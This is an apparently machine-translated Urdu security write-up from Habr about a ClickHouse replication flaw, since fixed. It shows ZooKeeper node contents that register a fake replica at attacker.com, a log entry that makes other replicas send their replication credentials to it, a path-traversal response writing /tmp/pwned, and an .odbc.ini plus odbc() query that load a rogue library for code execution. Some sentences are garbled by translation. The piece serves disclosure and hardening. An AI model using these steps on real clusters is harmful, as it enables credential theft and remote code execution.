آپ کو چڑیا گھر کے پنجروں کو بند رکھنے کی کیا ضرورت ہے؟

آپ کو چڑیا گھر کے پنجروں کو بند رکھنے کی کیا ضرورت ہے؟

یہ مضمون ClickHouse ریپلیکیشن پروٹوکول میں ایک بہت ہی مخصوص خطرے کی کہانی سنائے گا، اور یہ بھی دکھائے گا کہ حملے کی سطح کو کس طرح بڑھایا جا سکتا ہے۔

ClickHouse ڈیٹا کی بڑی مقدار کو ذخیرہ کرنے کے لیے ایک ڈیٹا بیس ہے، جو اکثر ایک سے زیادہ نقل کا استعمال کرتا ہے۔ کلک ہاؤس میں کلسٹرنگ اور نقل سب سے اوپر بنائے گئے ہیں۔ اپاچی زو کیپر (ZK) اور تحریری حقوق کی ضرورت ہے۔

پہلے سے طے شدہ ZK انسٹالیشن کے لیے تصدیق کی ضرورت نہیں ہوتی، اس لیے کافکا، ہڈوپ، کلک ہاؤس کو ترتیب دینے کے لیے استعمال ہونے والے ہزاروں ZK سرورز عوامی طور پر دستیاب ہیں۔

اپنے حملے کی سطح کو کم کرنے کے لیے، زو کیپر کو انسٹال کرتے وقت آپ کو ہمیشہ تصدیق اور اجازت کو ترتیب دینا چاہیے۔

یقیناً کچھ 0 دن پر مبنی جاوا ڈی سیریلائزیشنز ہیں، لیکن تصور کریں کہ حملہ آور ZooKeeper کو پڑھ اور لکھ سکتا ہے، جو ClickHouse کی نقل کے لیے استعمال ہوتا ہے۔

کلسٹر موڈ میں کنفیگر ہونے پر، ClickHouse تقسیم شدہ سوالات کو سپورٹ کرتا ہے۔ DDL، ZK سے گزرتے ہوئے - ان کے لیے شیٹ میں نوڈس بنائے جاتے ہیں۔ /clickhouse/task_queue/ddl.

مثال کے طور پر، آپ ایک نوڈ بناتے ہیں /clickhouse/task_queue/ddl/query-0001 مواد کے ساتھ:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

اور اس کے بعد، ٹیسٹ ٹیبل کو کلسٹر سرورز host1 اور host2 پر حذف کر دیا جائے گا۔ DDL CREATE/ALTER/DROP سوالات چلانے کی بھی حمایت کرتا ہے۔

خوفناک آواز؟ لیکن حملہ آور کو سرور کے پتے کہاں سے مل سکتے ہیں؟

گھر کی نقل پر کلک کریں۔ انفرادی جدولوں کی سطح پر کام کرتا ہے، تاکہ ZK میں جدول بنائے جانے پر، ایک سرور متعین کیا جاتا ہے جو نقل کے ساتھ میٹا ڈیٹا کے تبادلے کے لیے ذمہ دار ہوگا۔ مثال کے طور پر، درخواست پر عمل کرتے وقت (ZK کو کنفیگر کیا جانا چاہیے، chXX - نقل کا نام، فوبار - ٹیبل کا نام):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

نوڈس بنائے جائیں گے۔ کالم и میٹا ڈیٹا.

مواد /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

کیا اس کلسٹر سے ڈیٹا کو ضم کرنا ممکن ہے؟ ہاں، اگر نقل کی بندرگاہ (TCP/9009) سرور پر chXX-address فائر وال کو بند نہیں کیا جائے گا اور نقل کے لیے توثیق کو ترتیب نہیں دیا جائے گا۔ توثیق کو کیسے نظرانداز کیا جائے؟

ایک حملہ آور صرف مواد کو نقل کرکے ZK میں ایک نئی نقل بنا سکتا ہے۔ /clickhouse/tables/01-01/foobar/replicas/chXX اور معنی بدلتے ہیں۔ host.

مواد /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

پھر آپ کو دوسرے نقلوں کو یہ بتانے کی ضرورت ہے کہ حملہ آور کے سرور پر ڈیٹا کا ایک نیا بلاک ہے جو انہیں لینے کی ضرورت ہے - ZK میں ایک نوڈ بنایا گیا ہے۔ /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX یک طرفہ طور پر بڑھتا ہوا کاؤنٹر، جو ایونٹ لاگ میں آخری سے بڑا ہونا چاہئے):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

جہاں source_replica - پچھلے مرحلے میں تیار کردہ حملہ آور کی نقل کا نام، بلاک_آئی ڈی - ڈیٹا بلاک شناخت کنندہ، حاصل - "بلاک حاصل کریں" کمانڈ (اور یہاں دوسرے آپریشنز کے لیے کمانڈز ہیں۔).

اگلا، ہر ایک نقل لاگ میں ایک نیا واقعہ پڑھتا ہے اور ڈیٹا کا ایک بلاک حاصل کرنے کے لیے حملہ آور کے زیر کنٹرول سرور پر جاتا ہے (ریپلیکریشن پروٹوکول بائنری ہے، HTTP کے اوپر چلتا ہے)۔ سرور attacker.com درخواستیں موصول ہوں گی:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

جہاں XXX نقل کے لیے تصدیقی ڈیٹا ہے۔ کچھ صورتوں میں، یہ ایک اکاؤنٹ ہو سکتا ہے جس میں مرکزی ClickHouse پروٹوکول اور HTTP پروٹوکول کے ذریعے ڈیٹا بیس تک رسائی ہو۔ جیسا کہ آپ نے دیکھا ہے، حملے کی سطح بہت بڑی ہو جاتی ہے کیونکہ ZooKeeper، جو نقل کے لیے استعمال ہوتا ہے، بغیر تصدیق کے چھوڑ دیا گیا تھا۔

آئیے ریپلیکا سے ڈیٹا کے بلاک حاصل کرنے کے فنکشن کو دیکھتے ہیں، یہ پورے اعتماد کے ساتھ لکھا گیا ہے کہ تمام نقلیں مناسب کنٹرول میں ہیں اور ان کے درمیان اعتماد ہے۔

آپ کو چڑیا گھر کے پنجروں کو بند رکھنے کی کیا ضرورت ہے؟
نقل پروسیسنگ کوڈ

فنکشن فائلوں کی فہرست پڑھتا ہے، پھر ان کے نام، سائز، مواد، اور پھر انہیں فائل سسٹم میں لکھتا ہے۔ یہ الگ سے بیان کرنے کے قابل ہے کہ فائل سسٹم میں ڈیٹا کیسے محفوظ کیا جاتا ہے۔

میں کئی ذیلی ڈائرکٹریاں ہیں۔ /var/lib/clickhouse (کنفیگریشن فائل سے ڈیفالٹ اسٹوریج ڈائرکٹری):

پرچم - ریکارڈنگ کے لیے ڈائریکٹری جھنڈےڈیٹا ضائع ہونے کے بعد ریکوری میں استعمال کیا جاتا ہے۔
Tmp میں - عارضی فائلوں کو ذخیرہ کرنے کے لئے ڈائریکٹری؛
user_files - درخواستوں میں فائلوں کے ساتھ کارروائیاں اس ڈائریکٹری تک محدود ہیں (INTO OUTFILE اور دیگر)؛
میٹا ڈیٹا - ٹیبل کی تفصیل کے ساتھ ایس کیو ایل فائلیں؛
preprocessed_configs - سے مشتق کنفیگریشن فائلوں پر عملدرآمد /etc/clickhouse-server;
اعداد و شمار - ڈیٹا کے ساتھ ہی اصل ڈائرکٹری، اس صورت میں ہر ڈیٹا بیس کے لیے ایک الگ ذیلی ڈائرکٹری آسانی سے یہاں بنائی گئی ہے (مثال کے طور پر /var/lib/clickhouse/data/default).

ہر ٹیبل کے لیے، ڈیٹا بیس ڈائرکٹری میں ایک ذیلی ڈائرکٹری بنائی جاتی ہے۔ ہر کالم پر منحصر ہے ایک الگ فائل ہے۔ انجن کی شکل. مثال کے طور پر میز کے لیے فوبارحملہ آور کے ذریعہ تخلیق کیا گیا ہے، درج ذیل فائلیں بنائی جائیں گی۔

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

نقل ڈیٹا کے بلاک پر کارروائی کرتے وقت انہی ناموں والی فائلیں وصول کرنے کی توقع رکھتی ہے اور کسی بھی طرح ان کی توثیق نہیں کرتی ہے۔

دھیان دینے والے قاری نے شاید پہلے ہی کسی فنکشن میں file_name کے غیر محفوظ کنکٹیشن کے بارے میں سنا ہوگا۔ WriteBufferFromFile. ہاں، یہ حملہ آور کو صارف کے حقوق کے ساتھ FS پر کسی بھی فائل میں صوابدیدی مواد لکھنے کی اجازت دیتا ہے۔ clickhouse. ایسا کرنے کے لیے، حملہ آور کے زیر کنٹرول ریپلیکا کو درخواست کا درج ذیل جواب واپس کرنا چاہیے (فہم میں آسانی کے لیے لائن بریک شامل کیے گئے ہیں):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

اور ملاپ کے بعد ../../../../../../../../../tmp/pwned فائل لکھی جائے گی۔ /tmp/pwned مواد کے ساتھ ہیلو فرام زوکیپر.

فائل لکھنے کی صلاحیت کو ریموٹ کوڈ ایگزیکیوشن (RCE) میں تبدیل کرنے کے کئی اختیارات ہیں۔

RCE میں بیرونی لغات

پرانے ورژن میں، ClickHouse کی ترتیبات والی ڈائریکٹری صارف کے حقوق کے ساتھ محفوظ کی گئی تھی۔ کلک ہاؤس پہلے سے طے شدہ سیٹنگز فائلیں XML فائلیں ہیں جنہیں سروس اسٹارٹ اپ پر پڑھتی ہے اور پھر کیش کرتی ہے۔ /var/lib/clickhouse/preprocessed_configs. جب تبدیلیاں آتی ہیں، تو انہیں دوبارہ پڑھا جاتا ہے۔ اگر آپ کو رسائی حاصل ہے۔ /etc/clickhouse-server حملہ آور اپنا بنا سکتا ہے۔ بیرونی لغت قابل عمل قسم اور پھر صوابدیدی کوڈ پر عمل درآمد کریں۔ کلک ہاؤس کے موجودہ ورژن ڈیفالٹ کے طور پر حقوق فراہم نہیں کرتے ہیں، لیکن اگر سرور کو بتدریج اپ ڈیٹ کیا جائے تو ایسے حقوق باقی رہ سکتے ہیں۔ اگر آپ کلک ہاؤس کلسٹر کو سپورٹ کر رہے ہیں، تو سیٹنگ ڈائرکٹری کے حقوق کو چیک کریں، اس کا تعلق صارف سے ہونا چاہیے۔ root.

ODBC سے RCE

ایک پیکج انسٹال کرتے وقت، ایک صارف بنایا جاتا ہے clickhouse، لیکن اس کی ہوم ڈائرکٹری نہیں بنائی گئی ہے۔ /nonexistent. تاہم، بیرونی لغات استعمال کرتے وقت، یا دیگر وجوہات کی بناء پر، منتظمین ایک ڈائریکٹری بناتے ہیں۔ /nonexistent اور صارف کو دیں۔ clickhouse اس پر لکھنے تک رسائی (SSZB! تقریبا. مترجم).

کلک ہاؤس سپورٹ کرتا ہے۔ ODBC اور دوسرے ڈیٹا بیس سے منسلک ہو سکتے ہیں۔ ODBC میں، آپ ڈیٹا بیس ڈرائیور لائبریری (.so) کا راستہ بتا سکتے ہیں۔ ClickHouse کے پرانے ورژن آپ کو براہ راست درخواست ہینڈلر میں ایسا کرنے کی اجازت دیتے ہیں، لیکن اب کنکشن سٹرنگ کی مزید سخت جانچ میں شامل کر دی گئی ہے۔ odbc-bridge، لہذا درخواست سے ڈرائیور کے راستے کی وضاحت کرنا اب ممکن نہیں ہے۔ لیکن کیا کوئی حملہ آور اوپر بیان کردہ خطرے کا استعمال کرتے ہوئے ہوم ڈائریکٹری میں لکھ سکتا ہے؟

آئیے ایک فائل بناتے ہیں۔ ~/.odbc.ini اس طرح کے مواد کے ساتھ:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

پھر آغاز پر SELECT * FROM odbc('DSN=lalala', 'test', 'test'); لائبریری لوڈ ہو جائے گی test.so اور RCE حاصل کیا (شکریہ بگلوک ٹپ کے لئے)۔

یہ اور دیگر کمزوریوں کو ClickHouse ورژن 19.14.3 میں طے کیا گیا ہے۔ اپنے کلک ہاؤس اور زو کیپرز کا خیال رکھیں!

ماخذ: www.habr.com

نیا تبصرہ شامل کریں